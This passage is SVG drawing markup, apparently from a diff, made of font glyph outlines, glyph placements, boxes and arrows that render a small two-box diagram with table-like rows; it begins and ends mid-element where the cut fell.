4.726562 -10.144531 5.1875 -9.53125 C 5.644531 -8.925781 5.875 -8 5.875 -6.75 C 5.875 -5.644531 5.769531 -4.679688 5.5625 -3.859375 C 5.351562 -3.046875 5.066406 -2.359375 4.703125 -1.796875 C 4.347656 -1.234375 3.925781 -0.789062 3.4375 -0.46875 C 2.945312 -0.144531 2.414062 0.0664062 1.84375 0.171875 L 1.5625 -0.6875 C 2.507812 -0.9375 3.238281 -1.425781 3.75 -2.15625 C 4.269531 -2.894531 4.597656 -3.820312 4.734375 -4.9375 C 4.535156 -4.65625 4.3125 -4.457031 4.0625 -4.34375 C 3.8125 -4.226562 3.476562 -4.171875 3.0625 -4.171875 C 2.75 -4.171875 2.445312 -4.226562 2.15625 -4.34375 C 1.875 -4.46875 1.625 -4.65625 1.40625 -4.90625 C 1.1875 -5.15625 1.007812 -5.46875 0.875 -5.84375 C 0.738281 -6.21875 0.671875 -6.65625 0.671875 -7.15625 Z M 1.75 -7.28125 C 1.75 -6.582031 1.890625 -6.046875 2.171875 -5.671875 C 2.453125 -5.304688 2.828125 -5.125 3.296875 -5.125 C 3.671875 -5.125 3.988281 -5.203125 4.25 -5.359375 C 4.507812 -5.523438 4.695312 -5.734375 4.8125 -5.984375 C 4.832031 -6.109375 4.84375 -6.226562 4.84375 -6.34375 C 4.84375 -6.46875 4.84375 -6.582031 4.84375 -6.6875 C 4.84375 -7.0625 4.8125 -7.414062 4.75 -7.75 C 4.6875 -8.09375 4.585938 -8.390625 4.453125 -8.640625 C 4.316406 -8.898438 4.144531 -9.109375 3.9375 -9.265625 C 3.738281 -9.421875 3.5 -9.5 3.21875 -9.5 C 2.757812 -9.5 2.398438 -9.296875 2.140625 -8.890625 C 1.878906 -8.492188 1.75 -7.957031 1.75 -7.28125 Z M 1.75 -7.28125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-33"> +<path style="stroke:none;" d="M 6.328125 -3.15625 L 4.953125 -3.15625 L 4.953125 0 L 3.90625 0 L 3.90625 -3.15625 L 0.296875 -3.15625 L 0.296875 -3.65625 L 4.1875 -10.4375 L 4.953125 -10.4375 L 4.953125 -4.109375 L 6.328125 -4.109375 Z M 3.90625 -7.390625 L 4.078125 -8.65625 L 4.03125 -8.65625 L 3.59375 -7.53125 L 1.984375 -4.71875 L 1.421875 -4 L 2.234375 -4.109375 L 3.90625 -4.109375 Z M 3.90625 -7.390625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-34"> +<path style="stroke:none;" d="M 1.359375 -10.265625 L 2.46875 -10.265625 L 2.46875 -2.296875 C 2.46875 -1.492188 2.335938 -0.882812 2.078125 -0.46875 C 1.816406 -0.0625 1.363281 0.140625 0.71875 0.140625 C 0.5625 0.140625 0.375 0.117188 0.15625 0.078125 C -0.0625 0.046875 -0.238281 -0.0078125 -0.375 -0.09375 L -0.140625 -1.046875 C -0.046875 -0.984375 0.0546875 -0.9375 0.171875 -0.90625 C 0.296875 -0.875 0.425781 -0.859375 0.5625 -0.859375 C 0.738281 -0.859375 0.878906 -0.894531 0.984375 -0.96875 C 1.085938 -1.050781 1.171875 -1.164062 1.234375 -1.3125 C 1.296875 -1.457031 1.332031 -1.628906 1.34375 -1.828125 C 1.351562 -2.023438 1.359375 -2.253906 1.359375 -2.515625 Z M 1.359375 -10.265625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-35"> +<path style="stroke:none;" d="M 2.6875 -2.59375 L 3 -1.171875 L 3.0625 -1.171875 L 3.28125 -2.59375 L 4.40625 -7.328125 L 5.46875 -7.328125 L 3.734375 -0.75 C 3.585938 -0.21875 3.445312 0.273438 3.3125 0.734375 C 3.175781 1.191406 3.023438 1.585938 2.859375 1.921875 C 2.703125 2.265625 2.523438 2.53125 2.328125 2.71875 C 2.128906 2.90625 1.890625 3 1.609375 3 C 1.335938 3 1.097656 2.957031 0.890625 2.875 L 1.078125 1.875 C 1.210938 1.925781 1.347656 1.9375 1.484375 1.90625 C 1.617188 1.875 1.742188 1.789062 1.859375 1.65625 C 1.984375 1.519531 2.097656 1.316406 2.203125 1.046875 C 2.304688 0.773438 2.398438 0.425781 2.484375 0 L 0.109375 -7.328125 L 1.3125 -7.328125 Z M 2.6875 -2.59375 "/> +</symbol> +<symbol overflow="visible" id="glyph1-36"> +<path style="stroke:none;" d="M 5.234375 -10.265625 L 5.234375 -9.25 L 2.453125 -9.25 L 2.453125 -6.25 L 2.953125 -6.296875 C 3.734375 -6.285156 4.347656 -6.015625 4.796875 -5.484375 C 5.242188 -4.953125 5.472656 -4.195312 5.484375 -3.21875 C 5.472656 -2.664062 5.390625 -2.175781 5.234375 -1.75 C 5.085938 -1.332031 4.878906 -0.976562 4.609375 -0.6875 C 4.347656 -0.40625 4.039062 -0.191406 3.6875 -0.046875 C 3.34375 0.0976562 2.96875 0.171875 2.5625 0.171875 C 1.894531 0.171875 1.351562 0.078125 0.9375 -0.109375 L 1.203125 -1.046875 C 1.378906 -0.953125 1.570312 -0.890625 1.78125 -0.859375 C 2 -0.828125 2.25 -0.8125 2.53125 -0.8125 C 3.09375 -0.8125 3.546875 -1.015625 3.890625 -1.421875 C 4.242188 -1.828125 4.425781 -2.394531 4.4375 -3.125 C 4.425781 -3.875 4.242188 -4.429688 3.890625 -4.796875 C 3.546875 -5.160156 3.066406 -5.34375 2.453125 -5.34375 L 1.484375 -5.265625 L 1.484375 -10.265625 Z M 5.234375 -10.265625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-37"> +<path style="stroke:none;" d="M 4.78125 -7.328125 L 6.09375 -3.046875 L 6.359375 -1.640625 L 6.375 -1.640625 L 6.609375 -3.078125 L 7.59375 -7.328125 L 8.59375 -7.328125 L 6.640625 0.15625 L 6.046875 0.15625 L 4.5625 -4.65625 L 4.359375 -5.890625 L 4.328125 -5.890625 L 4.125 -4.640625 L 2.6875 0.15625 L 2.078125 0.15625 L 0.078125 -7.328125 L 1.203125 -7.328125 L 2.328125 -3.0625 L 2.515625 -1.640625 L 2.53125 -1.640625 L 2.796875 -3.09375 L 4 -7.328125 Z M 4.78125 -7.328125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-38"> +<path style="stroke:none;" d="M 1.0625 -10.265625 L 2.0625 -10.265625 L 1.6875 -7.4375 L 1.0625 -7.4375 Z M 1.0625 -10.265625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-39"> +<path style="stroke:none;" d="M 4.625 0 L 4.625 -4.453125 C 4.625 -5.140625 4.539062 -5.660156 4.375 -6.015625 C 4.21875 -6.378906 3.898438 -6.5625 3.421875 -6.5625 C 3.078125 -6.5625 2.765625 -6.4375 2.484375 -6.1875 C 2.203125 -5.945312 2.015625 -5.640625 1.921875 -5.265625 L 1.921875 0 L 0.859375 0 L 0.859375 -10.265625 L 1.921875 -10.265625 L 1.921875 -6.640625 L 1.96875 -6.640625 C 2.164062 -6.898438 2.40625 -7.109375 2.6875 -7.265625 C 2.976562 -7.429688 3.335938 -7.515625 3.765625 -7.515625 C 4.085938 -7.515625 4.367188 -7.46875 4.609375 -7.375 C 4.847656 -7.289062 5.046875 -7.140625 5.203125 -6.921875 C 5.359375 -6.710938 5.472656 -6.425781 5.546875 -6.0625 C 5.628906 -5.707031 5.671875 -5.265625 5.671875 -4.734375 L 5.671875 0 Z M 4.625 0 "/> +</symbol> +<symbol overflow="visible" id="glyph1-40"> +<path style="stroke:none;" d="M 1.125 -6.5625 C 1.125 -6.84375 1.1875 -7.050781 1.3125 -7.1875 C 1.445312 -7.320312 1.628906 -7.390625 1.859375 -7.390625 C 2.078125 -7.390625 2.253906 -7.320312 2.390625 -7.1875 C 2.523438 -7.050781 2.59375 -6.84375 2.59375 -6.5625 C 2.59375 -6.28125 2.523438 -6.070312 2.390625 -5.9375 C 2.253906 -5.800781 2.078125 -5.734375 1.859375 -5.734375 C 1.628906 -5.734375 1.445312 -5.800781 1.3125 -5.9375 C 1.1875 -6.070312 1.125 -6.28125 1.125 -6.5625 Z M 1.125 -0.65625 C 1.125 -0.9375 1.1875 -1.144531 1.3125 -1.28125 C 1.445312 -1.414062 1.628906 -1.484375 1.859375 -1.484375 C 2.078125 -1.484375 2.253906 -1.414062 2.390625 -1.28125 C 2.523438 -1.144531 2.59375 -0.9375 2.59375 -0.65625 C 2.59375 -0.375 2.523438 -0.164062 2.390625 -0.03125 C 2.253906 0.101562 2.078125 0.171875 1.859375 0.171875 C 1.628906 0.171875 1.445312 0.101562 1.3125 -0.03125 C 1.1875 -0.164062 1.125 -0.375 1.125 -0.65625 Z M 1.125 -0.65625 "/> +</symbol> +</g> +</defs> +<g id="surface21082"> +<rect x="0" y="0" width="681" height="170" style="fill:rgb(100%,100%,100%);fill-opacity:1;stroke:none;"/> +<path style="fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(100%,100%,100%);stroke-opacity:1;stroke-dasharray:0.2,0.2;stroke-miterlimit:10;" d="M 16 12 L 50 12 L 50 20.4 L 16 20.4 Z M 16 12 " transform="matrix(20,0,0,20,-319,-239)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-1" x="471.15625" y="37.138889"/> + <use xlink:href="#glyph0-2" x="478.378472" y="37.138889"/> + <use xlink:href="#glyph0-3" x="486.434028" y="37.138889"/> + <use xlink:href="#glyph0-4" x="495.322917" y="37.138889"/> + <use xlink:href="#glyph0-5" x="500.045139" y="37.138889"/> + <use xlink:href="#glyph0-6" x="508.378472" y="37.138889"/> + <use xlink:href="#glyph0-7" x="512.545139" y="37.138889"/> + <use xlink:href="#glyph0-8" x="516.989583" y="37.138889"/> + <use xlink:href="#glyph0-9" x="525.878472" y="37.138889"/> + <use xlink:href="#glyph0-10" x="531.434028" y="37.138889"/> + <use xlink:href="#glyph0-11" x="540.322917" y="37.138889"/> + <use xlink:href="#glyph0-12" x="549.211806" y="37.138889"/> + <use xlink:href="#glyph0-13" x="558.100694" y="37.138889"/> + <use xlink:href="#glyph0-14" x="565.322917" y="37.138889"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-15" x="59.203125" y="35.138889"/> + <use xlink:href="#glyph0-9" x="67.814236" y="35.138889"/> + <use xlink:href="#glyph0-10" x="73.369792" y="35.138889"/> + <use xlink:href="#glyph0-11" x="82.258681" y="35.138889"/> + <use xlink:href="#glyph0-12" x="91.147569" y="35.138889"/> + <use xlink:href="#glyph0-13" x="100.036458" y="35.138889"/> + <use xlink:href="#glyph0-14" x="107.258681" y="35.138889"/> + <use xlink:href="#glyph0-7" x="112.814236" y="35.138889"/> + <use xlink:href="#glyph0-16" x="117.258681" y="35.138889"/> + <use xlink:href="#glyph0-3" x="128.369792" y="35.138889"/> + <use xlink:href="#glyph0-17" x="137.258681" y="35.138889"/> + <use xlink:href="#glyph0-5" x="141.703125" y="35.138889"/> + <use xlink:href="#glyph0-13" x="150.036458" y="35.138889"/> + <use xlink:href="#glyph0-14" x="157.258681" y="35.138889"/> +</g> +<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 35.3 14.293164 C 35.134375 14.293164 35 14.427344 35 14.593164 L 35 17.993164 C 35 18.158789 35.134375 18.293164 35.3 18.293164 L 48.7 18.293164 C 48.865625 18.293164 49 18.158789 49 17.993164 L 49 14.593164 C 49 14.427344 48.865625 14.293164 48.7 14.293164 Z M 35.3 14.293164 " transform="matrix(20,0,0,20,-319,-239)"/> +<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(99.215686%,87.450981%,73.333335%);stroke-opacity:1;stroke-miterlimit:10;" d="M 35 15.397266 L 49 15.397266 L 49 16.283203 L 35 16.283203 Z M 35 15.397266 " transform="matrix(20,0,0,20,-319,-239)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-1" x="388.78125" y="64.342122"/> + <use xlink:href="#glyph1-2" x="391.836806" y="64.342122"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-3" x="413.225694" y="64.342122"/> + <use xlink:href="#glyph1-4" x="419.614583" y="64.342122"/> + <use xlink:href="#glyph1-5" x="425.447917" y="64.342122"/> + <use xlink:href="#glyph1-6" x="434.892361" y="64.342122"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-7" x="462.114583" y="64.342122"/> + <use xlink:href="#glyph1-8" x="468.503472" y="64.342122"/> + <use xlink:href="#glyph1-1" x="472.392361" y="64.342122"/> + <use xlink:href="#glyph1-9" x="475.447917" y="64.342122"/> + <use xlink:href="#glyph1-6" x="480.447917" y="64.342122"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-10" x="511.003472" y="64.342122"/> + <use xlink:href="#glyph1-10" x="514.059028" y="64.342122"/> + <use xlink:href="#glyph1-2" x="517.114583" y="64.342122"/> + <use xlink:href="#glyph1-6" x="523.503472" y="64.342122"/> + <use xlink:href="#glyph1-11" x="529.614583" y="64.342122"/> + <use xlink:href="#glyph1-9" x="534.614583" y="64.342122"/> + <use xlink:href="#glyph1-8" x="539.892361" y="64.342122"/> + <use xlink:href="#glyph1-1" x="543.78125" y="64.342122"/> + <use xlink:href="#glyph1-7" x="546.836806" y="64.342122"/> + <use xlink:href="#glyph1-12" x="553.225694" y="64.342122"/> + <use xlink:href="#glyph1-1" x="557.392361" y="64.342122"/> + <use xlink:href="#glyph1-13" x="560.447917" y="64.342122"/> + <use xlink:href="#glyph1-3" x="566.836806" y="64.342122"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-14" x="388.78125" y="82.685872"/> + <use xlink:href="#glyph1-15" x="395.447917" y="82.685872"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-16" x="413.225694" y="82.685872"/> + <use xlink:href="#glyph1-1" x="420.170139" y="82.685872"/> + <use xlink:href="#glyph1-17" x="423.225694" y="82.685872"/> + <use xlink:href="#glyph1-6" x="428.78125" y="82.685872"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-18" x="462.114583" y="82.685872"/> + <use xlink:href="#glyph1-19" x="468.78125" y="82.685872"/> + <use xlink:href="#glyph1-20" x="475.447917" y="82.685872"/> + <use xlink:href="#glyph1-20" x="482.114583" y="82.685872"/> + <use xlink:href="#glyph1-21" x="488.78125" y="82.685872"/> + <use xlink:href="#glyph1-20" x="491.28125" y="82.685872"/> + <use xlink:href="#glyph1-20" x="497.947917" y="82.685872"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-10" x="511.003472" y="82.685872"/> + <use xlink:href="#glyph1-10" x="514.059028" y="82.685872"/> + <use xlink:href="#glyph1-22" x="517.114583" y="82.685872"/> + <use xlink:href="#glyph1-23" x="523.503472" y="82.685872"/> + <use xlink:href="#glyph1-6" x="529.336806" y="82.685872"/> + <use xlink:href="#glyph1-2" x="535.447917" y="82.685872"/> + <use xlink:href="#glyph1-10" x="541.836806" y="82.685872"/> + <use xlink:href="#glyph1-24" x="544.892361" y="82.685872"/> + <use xlink:href="#glyph1-6" x="551.28125" y="82.685872"/> + <use xlink:href="#glyph1-4" x="557.392361" y="82.685872"/> + <use xlink:href="#glyph1-8" x="563.225694" y="82.685872"/> + <use xlink:href="#glyph1-25" x="566.559028" y="82.685872"/> + <use xlink:href="#glyph1-10" x="568.225694" y="82.685872"/> + <use xlink:href="#glyph1-26" x="571.28125" y="82.685872"/> + <use xlink:href="#glyph1-27" x="577.670139" y="82.685872"/> + <use xlink:href="#glyph1-28" x="581.003472" y="82.685872"/> + <use xlink:href="#glyph1-6" x="587.392361" y="82.685872"/> + <use xlink:href="#glyph1-25" x="593.503472" y="82.685872"/> + <use xlink:href="#glyph1-10" x="595.170139" y="82.685872"/> + <use xlink:href="#glyph1-29" x="598.225694" y="82.685872"/> + <use xlink:href="#glyph1-4" x="602.114583" y="82.685872"/> + <use xlink:href="#glyph1-11" x="607.947917" y="82.685872"/> + <use xlink:href="#glyph1-12" x="612.947917" y="82.685872"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-14" x="388.78125" y="101.029622"/> + <use xlink:href="#glyph1-30" x="395.447917" y="101.029622"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-31" x="413.225694" y="101.029622"/> + <use xlink:href="#glyph1-6" x="421.003472" y="101.029622"/> + <use xlink:href="#glyph1-27" x="427.114583" y="101.029622"/> + <use xlink:href="#glyph1-5" x="430.447917" y="101.029622"/> + <use xlink:href="#glyph1-6" x="439.892361" y="101.029622"/> + <use xlink:href="#glyph1-12" x="446.003472" y="101.029622"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-18" x="462.114583" y="101.029622"/> + <use xlink:href="#glyph1-15" x="468.78125" y="101.029622"/> + <use xlink:href="#glyph1-20" x="475.447917" y="101.029622"/> + <use xlink:href="#glyph1-21" x="482.114583" y="101.029622"/> + <use xlink:href="#glyph1-32" x="484.614583" y="101.029622"/> + <use xlink:href="#glyph1-32" x="491.28125" y="101.029622"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-10" x="511.003472" y="101.029622"/> + <use xlink:href="#glyph1-10" x="514.059028" y="101.029622"/> + <use xlink:href="#glyph1-26" x="517.114583" y="101.029622"/> + <use xlink:href="#glyph1-27" x="523.503472" y="101.029622"/> + <use xlink:href="#glyph1-4" x="526.836806" y="101.029622"/> + <use xlink:href="#glyph1-9" x="532.670139" y="101.029622"/> + <use xlink:href="#glyph1-17" x="537.947917" y="101.029622"/> + <use xlink:href="#glyph1-25" x="543.503472" y="101.029622"/> + <use xlink:href="#glyph1-10" x="545.170139" y="101.029622"/> + <use xlink:href="#glyph1-22" x="548.225694" y="101.029622"/> + <use xlink:href="#glyph1-12" x="554.614583" y="101.029622"/> + <use xlink:href="#glyph1-11" x="558.78125" y="101.029622"/> + <use xlink:href="#glyph1-10" x="563.78125" y="101.029622"/> + <use xlink:href="#glyph1-5" x="566.836806" y="101.029622"/> + <use xlink:href="#glyph1-13" x="576.28125" y="101.029622"/> + <use xlink:href="#glyph1-11" x="582.670139" y="101.029622"/> + <use xlink:href="#glyph1-12" x="587.670139" y="101.029622"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-14" x="388.78125" y="119.373372"/> + <use xlink:href="#glyph1-33" x="395.447917" y="119.373372"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-34" x="413.225694" y="119.373372"/> + <use xlink:href="#glyph1-6" x="416.836806" y="119.373372"/> + <use xlink:href="#glyph1-8" x="422.947917" y="119.373372"/> + <use xlink:href="#glyph1-11" x="426.836806" y="119.373372"/> + <use xlink:href="#glyph1-6" x="431.836806" y="119.373372"/> + <use xlink:href="#glyph1-35" x="437.670139" y="119.373372"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-18" x="462.114583" y="119.373372"/> + <use xlink:href="#glyph1-30" x="468.78125" y="119.373372"/> + <use xlink:href="#glyph1-36" x="475.447917" y="119.373372"/> + <use xlink:href="#glyph1-21" x="482.114583" y="119.373372"/> + <use xlink:href="#glyph1-20" x="484.614583" y="119.373372"/> + <use xlink:href="#glyph1-20" x="491.28125" y="119.373372"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-10" x="511.003472" y="119.373372"/> + <use xlink:href="#glyph1-10" x="514.059028" y="119.373372"/> + <use xlink:href="#glyph1-37" x="517.114583" y="119.373372"/> + <use xlink:href="#glyph1-13" x="525.725694" y="119.373372"/> + <use xlink:href="#glyph1-5" x="532.114583" y="119.373372"/> + <use xlink:href="#glyph1-6" x="541.559028" y="119.373372"/> + <use xlink:href="#glyph1-3" x="547.670139" y="119.373372"/> + <use xlink:href="#glyph1-38" x="554.059028" y="119.373372"/> + <use xlink:href="#glyph1-11" x="556.003472" y="119.373372"/> + <use xlink:href="#glyph1-25" x="561.003472" y="119.373372"/> + <use xlink:href="#glyph1-10" x="562.670139" y="119.373372"/> + <use xlink:href="#glyph1-24" x="565.725694" y="119.373372"/> + <use xlink:href="#glyph1-8" x="572.114583" y="119.373372"/> + <use xlink:href="#glyph1-6" x="576.003472" y="119.373372"/> + <use xlink:href="#glyph1-6" x="581.836806" y="119.373372"/> + <use xlink:href="#glyph1-3" x="587.947917" y="119.373372"/> + <use xlink:href="#glyph1-10" x="594.336806" y="119.373372"/> + <use xlink:href="#glyph1-4" x="597.392361" y="119.373372"/> + <use xlink:href="#glyph1-3" x="603.225694" y="119.373372"/> + <use xlink:href="#glyph1-2" x="609.614583" y="119.373372"/> + <use xlink:href="#glyph1-10" x="616.003472" y="119.373372"/> + <use xlink:href="#glyph1-37" x="619.059028" y="119.373372"/> + <use xlink:href="#glyph1-39" x="627.670139" y="119.373372"/> + <use xlink:href="#glyph1-1" x="634.059028" y="119.373372"/> + <use xlink:href="#glyph1-12" x="637.114583" y="119.373372"/> + <use xlink:href="#glyph1-6" x="641.003472" y="119.373372"/> +</g> +<path style="fill:none;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 35 15.397266 L 49 15.393164 " transform="matrix(20,0,0,20,-319,-239)"/> +<path style="fill:none;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 36.33457 14.293164 L 36.33457 18.293164 " transform="matrix(20,0,0,20,-319,-239)"/> +<path style="fill:none;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 38.730078 14.293164 L 38.730078 18.293164 " transform="matrix(20,0,0,20,-319,-239)"/> +<path style="fill:none;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 41.439258 14.293164 L 41.439258 18.293164 " transform="matrix(20,0,0,20,-319,-239)"/> +<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 35.3 14.293164 C 35.134375 14.293164 35 14.427344 35 14.593164 L 35 17.993164 C 35 18.158789 35.134375 18.293164 35.3 18.293164 L 48.7 18.293164 C 48.865625 18.293164 49 18.158789 49 17.993164 L 49 14.593164 C 49 14.427344 48.865625 14.293164 48.7 14.293164 Z M 35.3 14.293164 " transform="matrix(20,0,0,20,-319,-239)"/> +<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 17.3 14.193164 C 17.134375 14.193164 17 14.327344 17 14.493164 L 17 18.093164 C 17 18.258789 17.134375 18.393164 17.3 18.393164 L 25.7 18.393164 C 25.865625 18.393164 26 18.258789 26 18.093164 L 26 14.493164 C 26 14.327344 25.865625 14.193164 25.7 14.193164 Z M 17.3 14.193164 " transform="matrix(20,0,0,20,-319,-239)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-1" x="29.429688" y="64.010091"/> + <use xlink:href="#glyph1-2" x="32.485243" y="64.010091"/> + <use xlink:href="#glyph1-40" x="38.874132" y="64.010091"/> + <use xlink:href="#glyph1-10" x="41.929688" y="64.010091"/> + <use xlink:href="#glyph1-14" x="44.985243" y="64.010091"/> + <use xlink:href="#glyph1-15" x="51.65191" y="64.010091"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-3" x="29.429688" y="82.353841"/> + <use xlink:href="#glyph1-4" x="35.818576" y="82.353841"/> + <use xlink:href="#glyph1-5" x="41.65191" y="82.353841"/> + <use xlink:href="#glyph1-6" x="51.096354" y="82.353841"/> + <use xlink:href="#glyph1-40" x="57.207465" y="82.353841"/> + <use xlink:href="#glyph1-10" x="60.263021" y="82.353841"/> + <use xlink:href="#glyph1-16" x="63.318576" y="82.353841"/> + <use xlink:href="#glyph1-1" x="70.263021" y="82.353841"/> + <use xlink:href="#glyph1-17" x="73.318576" y="82.353841"/> + <use xlink:href="#glyph1-6" x="78.874132" y="82.353841"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-7" x="29.429688" y="100.697591"/> + <use xlink:href="#glyph1-8" x="35.818576" y="100.697591"/> + <use xlink:href="#glyph1-1" x="39.707465" y="100.697591"/> + <use xlink:href="#glyph1-9" x="42.763021" y="100.697591"/> + <use xlink:href="#glyph1-6" x="47.763021" y="100.697591"/> + <use xlink:href="#glyph1-40" x="53.874132" y="100.697591"/> + <use xlink:href="#glyph1-10" x="56.929688" y="100.697591"/> + <use xlink:href="#glyph1-18" x="59.985243" y="100.697591"/> + <use xlink:href="#glyph1-19" x="66.65191" y="100.697591"/> + <use xlink:href="#glyph1-20" x="73.318576" y="100.697591"/> + <use xlink:href="#glyph1-20" x="79.985243" y="100.697591"/> + <use xlink:href="#glyph1-21" x="86.65191" y="100.697591"/> + <use xlink:href="#glyph1-20" x="89.15191" y="100.697591"/> + <use xlink:href="#glyph1-20" x="95.818576" y="100.697591"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="29.429688" y="119.041341"/> + <use xlink:href="#glyph1-6" x="35.818576" y="119.041341"/> + <use xlink:href="#glyph1-11" x="41.929688" y="119.041341"/> + <use xlink:href="#glyph1-9" x="46.929688" y="119.041341"/> + <use xlink:href="#glyph1-8" x="52.207465" y="119.041341"/> + <use xlink:href="#glyph1-1" x="56.096354" y="119.041341"/> + <use xlink:href="#glyph1-7" x="59.15191" y="119.041341"/> + <use xlink:href="#glyph1-12" x="65.540799" y="119.041341"/> + <use xlink:href="#glyph1-1" x="69.707465" y="119.041341"/> + <use xlink:href="#glyph1-13" x="72.763021" y="119.041341"/> + <use xlink:href="#glyph1-3" x="79.15191" y="119.041341"/> + <use xlink:href="#glyph1-40" x="85.540799" y="119.041341"/> + <use xlink:href="#glyph1-10" x="88.596354" y="119.041341"/> + <use xlink:href="#glyph1-22" x="91.65191" y="119.041341"/> + <use xlink:href="#glyph1-23" x="98.040799" y="119.041341"/> + <use xlink:href="#glyph1-6" x="103.874132" y="119.041341"/> + <use xlink:href="#glyph1-2" x="109.985243" y="119.041341"/> + <use xlink:href="#glyph1-10" x="116.374132" y="119.041341"/> + <use xlink:href="#glyph1-24" x="119.429688" y="119.041341"/> + <use xlink:href="#glyph1-6" x="125.818576" y="119.041341"/> + <use xlink:href="#glyph1-4" x="131.929688" y="119.041341"/> + <use xlink:href="#glyph1-8" x="137.763021" y="119.041341"/> + <use xlink:href="#glyph1-25" x="141.096354" y="119.041341"/> + <use xlink:href="#glyph1-10" x="142.763021" y="119.041341"/> + <use xlink:href="#glyph1-26" x="145.818576" y="119.041341"/> + <use xlink:href="#glyph1-27" x="152.207465" y="119.041341"/> + <use xlink:href="#glyph1-28" x="155.540799" y="119.041341"/> + <use xlink:href="#glyph1-6" x="161.929688" y="119.041341"/> + <use xlink:href="#glyph1-25" x="168.040799" y="119.041341"/> + <use xlink:href="#glyph1-10" x="169.707465" y="119.041341"/> + <use xlink:href="#glyph1-29" x="172.763021" y="119.041341"/> + <use xlink:href="#glyph1-4" x="176.65191" y="119.041341"/> + <use xlink:href="#glyph1-11" x="182.485243" y="119.041341"/> + <use xlink:href="#glyph1-12" x="187.485243" y="119.041341"/> +</g> +<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 26.994141 15.293164 L 33.444141 15.293164 " transform="matrix(20,0,0,20,-319,-239)"/> +<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 33.444141 15.543164 L 33.944141 15.293164 L 33.444141 15.043164 Z M 33.444141 15.543164 " transform="matrix(20,0,0,20,-319,-239)"/> +<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 27.555859 17.293164 L 34.005859 17.293164 " transform="matrix(20,0,0,20,-319,-239)"/> +<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 27.555859 17.043164 L 27.055859 17.293164 L 27.555859 17.543164 Z M 27.555859 17.043164 " 